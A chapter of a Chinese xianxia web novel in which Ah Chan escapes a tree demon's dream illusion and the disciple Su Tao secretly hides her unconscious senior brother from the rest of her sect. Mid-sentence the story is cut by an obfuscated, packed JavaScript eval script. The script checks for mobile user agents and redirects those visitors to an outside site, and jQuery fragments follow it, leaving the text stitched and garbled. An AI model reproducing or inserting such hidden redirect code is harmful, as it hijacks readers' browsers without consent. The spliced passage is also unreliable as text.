30. chapter
作品:《财神,借个运》 阿蝉试图动一动,她发现,自己变成了个元宝花灯,被陌生少女提在手中。
不知为何保护自己的那股力量忽然剧烈波动,阿蝉一个不防变成了一朵魂花,坠入梦境。
这里不是她的梦境,是别人的梦境,所以她才会一动不动,被人提在手中。
阿蝉算是明白,这树妖之所以把人变成魂花一点点蚕食,是为了吃梦,吃这些魂做的美梦。
幻境中这少女生得一双偏圆钝的桃花眼,肤色凝白,脸颊还带有未散的婴儿肥,最多不过十三岁。
少年眉眼青涩未褪,似乎与少女同岁,一袭青衣圆领袍,窄袖束腰,发尾低束在脑后,干净利落,又凸现一丝随性。
被少女点破后,他恼怒至极,耳朵更红了:“妖言惑众,你莫要耍花招,总有一日我会找到收伏你的法子!”
少女这句话不知道听了多少遍,她抱着元宝花灯敷衍道:“哦。”
“我饿了,我快饿死了。”她接着道。
少年一听,冷着脸从腰包里掏出一块金元宝,少女喜笑颜开接过,啃果子似的将其吃掉,她满意地揉揉肚子:“饱了。”
少女生啃元宝的模样看得阿蝉一阵牙酸,她再三确认,这是元宝,并非什么类似糖糕的元宝。
这少女明晃晃是只爱吃元宝的妖怪,这少年不知从哪儿将其逮来,貌似是在找能够消灭她的方法,只是也过于有钱了些,那么大个元宝说给她吃就给她吃。
望着他腰间鼓鼓囊囊的乾坤袋,阿蝉估摸着里面还有不少元宝。
不知为何,阿蝉有些手痒痒。
少女吃饱,学着小女孩说:“谢谢大哥哥。”
“哼。”他别过脸说,“我可不是为了你,我是怕你饿死,这样显得我胜之不武。”
他再次强调:“我一定会找到法子,亲手收了你!”
呦,还挺讲究。阿蝉心道。
二人一路走,一路买,买的东西都进了少女肚子里,少年全程板着脸跟在后头掏钱,等玩腻了,便找了家客栈歇脚。
少女一进房间就扑进床上睡得不亦乐乎,少年则在榻上打坐修习。
阿蝉逐渐品出味儿来,这少年哪里是想要收妖,分明是养了只祖宗,若有朝一日他找到了收伏她的方法,他当真舍得收她么。
幻境持续不断,少年居无定所,没有固定要去的地方,似乎单纯的在游历,能确定的是,他所到之处皆有妖患,一一被他解决了。
日子一晃几年过去,少年眉眼长开,身子抽条不少,少女看着只涨了一两岁的模样,唯一不变的是,少年腰间的乾坤袋永远也没有瘪过。
长期坐山吃空并非办法,少年开始接些除妖的私活赚钱。
当他又一次揭下悬赏令时,突然来了一群人挡在他身前。
“师弟,这些年玩了那么久,该回宗了,掌门还等着你呢。”为首男子说。
少年抬眼,盯着一众人,似在估量自己能打过的胜算。
阿蝉如今成了少年腰间的乾坤袋,挂在他身上无事可干,无聊得快要睡着,正当这时,她突然警觉,自己在别人的梦境,再沉溺下去,自己的魂可就要被树妖消化了!
念想刚落,世界一阵地动山摇,天空如同被撕裂的画卷,一帧一帧破碎,灼烧。
树妖肚子内,阿蝉冲破幻境猛地睁眼,魂身复又化作人形模样,周遭静悄悄,缠绕在手上的幽蓝魂花静悄悄,像是睡着了。
阿蝉摸了摸花叶子,心想这会是它的梦境吗。
她不欲多耽误时间,一股脑将地上的魂花全部拔出,神奇的时,这些魂花被拔出来时,一点反应也无,同这朵幽蓝魂花可谓是天差地别。
阿蝉破开古树肚子,回到自己体内。睁眼后,阿蝉破茧而出,来到宋音跟前,将魂花仔仔细细一个一个比对,直至她的魂总算回到身体里,阿蝉这才施法将她的七窍封住,防止神魂外泄。
只可惜,魄已经没了,即便她醒来也只是个痴傻之人。
做完这一切,阿蝉将救出来的魂花尽数丢到地上,不欲多管闲事。
全程古树如同睡着了般一动不动,这叫阿蝉觉得很怪异,她无暇多想,因为不远处正有几道强烈的气息袭来,想必是无欲天宗的人快到了。
阿蝉带着宋音隐匿身形,一个穿着粉嫩裙子的少女率先御剑落地,她像只叽叽喳喳的小鸟,睁着两只水汪汪的大眼睛四处环望。
待看清树上吊着无数的人后,少女眉心一蹙,豆大的泪花从脸颊滴落。
阿蝉以为她在为树上这些无辜之人哭泣,岂料少女深吸一口气,为自己鼓气道:“师兄别怕!阿桃这就来救你!”
苏桃祭出小剑,对准树上谢春檀的方向砍去,横冲莽撞,瞧着架势着实唬人。
阿蝉知道,要是自己不阻止她,对方这一剑绝对会砍到她师兄身上,她拾起一枚石子,对准苏桃胳膊弹去。
苏桃觉得手臂忽然一阵发麻,她“哎呦”一声在空中打了个滑,长剑戳到树干上,又跟着主人滑落。
阿蝉又好心施法,将缠着他师兄的薄茧斩断,穿着大红外裳的人缓缓落地,平静地躺在地上。
苏桃捂着摔疼的屁股站起身,扭头见师兄已经落地,她心中浮现一丝窃喜。
她竟然,救了师兄。
苏桃小心翼翼走到师兄面前,想要触碰他的脸,手伸至半空,忆起什么似的,她讪讪收回手。
她想起,师兄最不喜旁人触碰。
师兄如今昏迷不醒,苏桃望着他的面庞,只觉得心跳渐渐加快,夜色总是容易滋生罪恶。
苏桃想,师兄如今昏迷不醒,她可以好好照顾师兄,直至他醒来,若师兄醒来后看见是她救了他。会不会,会不会对自己的态度能有所融化?
男子双目紧闭,玉砌般的眉眼平静,令苏桃无比痴迷,她咬着下唇,内心一阵天人交战。
眼看空中几道流光逐渐逼近,苏桃终于做出决定,将他藏起来,藏到一个没有人发现的地方,只有她和他!
苏桃心中鼓跳如雷,她艰难地将谢春檀的身体拖到一处隐蔽角落,又笨拙地设下隔绝阵法。
巧的是,这少女藏她师兄的地方竟与自己的藏身之地是同一处,阿蝉只需伸手就能触及他的脸。
苏桃甫跑到树下,几道流光落地,一行人收起佩剑,问道:“小师妹,可有见到大师兄?”
苏桃咬咬唇,垂眼道:“没有,师兄,大师兄应当去别处了。”第一次干坏事,苏桃声音有些发虚,好在同行伙伴注意力
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184084|195513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都在树上吊着的那些人身上,没有注意到她的异常。
一行人闻言,注意力落到这可古怪的树上,忽然有人道:“有些人还有气!地上这些是什么?”
“是魂花!”
“这树有古怪,妖气好浓重。”
“先别管树妖了,这树妖死得不能再死,估计是师兄干的,我们先把这些人的魂召回去,再耽搁,人就彻底凉了。”
他们将树上还有口气的人解救下来,拿着魂花一一比对。
阿蝉听说树妖已经死了,眼帘微抬,盯着死寂的古树,面露疑惑,她不过睡了一觉这树妖就死了,谁杀的它?
她心隐隐有个猜测,只是不敢确认,毕竟这人如今就在她不远处昏迷着。
一行人勤勤恳恳给人招魂,唯有元琢杵在原地,面露沉思。
有人见他呆着不动,问道:“二师兄,你站着不动作甚?”
元琢道:“我在想,阿檀会去哪儿。”
不远处苏桃一听元琢打听大师兄的消息,后背顷刻间沁出密密匝匝的冷汗,她强颜欢笑道:“师兄每日那么忙,也许他去别的地方寻找漏网之鱼了呢?”
以前不是没有过谢春檀处理完棘手的邪祟,留下余下弟子收尾的情况。
众人一听,觉得也有道理。
“也许大师兄赶着往下一处闹妖患之地去呢,师兄你就别想了,快来帮我们招魂吧!”
元琢眉头却始终拧做一团:“可春檀从未有过不告而别,以往他走之前,都会留下记号,或者告诉我一声。”
苏桃忽然捂着脚哎呦一声,清秀的小脸上满是痛苦,她泪眼汪汪道:“我的脚,好像崴了。”
话落,一群弟子瞬间放下手中的魂花,朝着她涌去,一阵唏嘘关切。
苏桃低着头,目光却止不住朝向谢春檀的地方投去,她享受着被众星捧月的感觉,也为谢春檀对她的冷淡而内心酸涩。
她是无欲天宗辈分最小的师妹,自从因偶然救下宗主,来到这里起,她的人生便彻底不同,因为她最小,又是极为罕见的女弟子,所以大家都让着她,捧着她。
就连以严苛肃穆出名的清玄真人在面对她时,也如同冰山融化,春暖复苏。
苏桃逐渐沉迷于这衣食无忧,神仙般的日子。
仿佛一切对于她来说都是唾手可得,唯独那个令她心生向往,却遥不可及的大师兄除外。他是唯一个不会对自己展露笑颜的人,也是唯一一个将她与其余弟子一视同仁的人。
他是新一辈弟子里天赋最厉害的,也是最刻苦,所有弟子都仰慕他,敬佩他,苏桃也不例外。
因此,一想到接下来大师兄将独属于她一个人,她又紧张又害怕,又有一丝隐秘的窃喜悄悄在心底化开。
她绝对不能让别人发现异常,因此苏桃假装脚崴,成功吸引同门的注意,就连一向温润如玉的元琢师兄也朝她投来目光,关切问道:“小师妹没事吧?”
苏桃盯着元琢,咬唇道:“没事……师兄,别管我,快替那些无辜凡人招魂。”
这厢,阿蝉万般无聊等着他们收拾残局,连缠绕在手上的幽兰魂花何时脱落都不知。
魂花自动钻入谢春檀眉心,见蓝光一闪,谢春檀浓浓的长睫微微颤了颤。

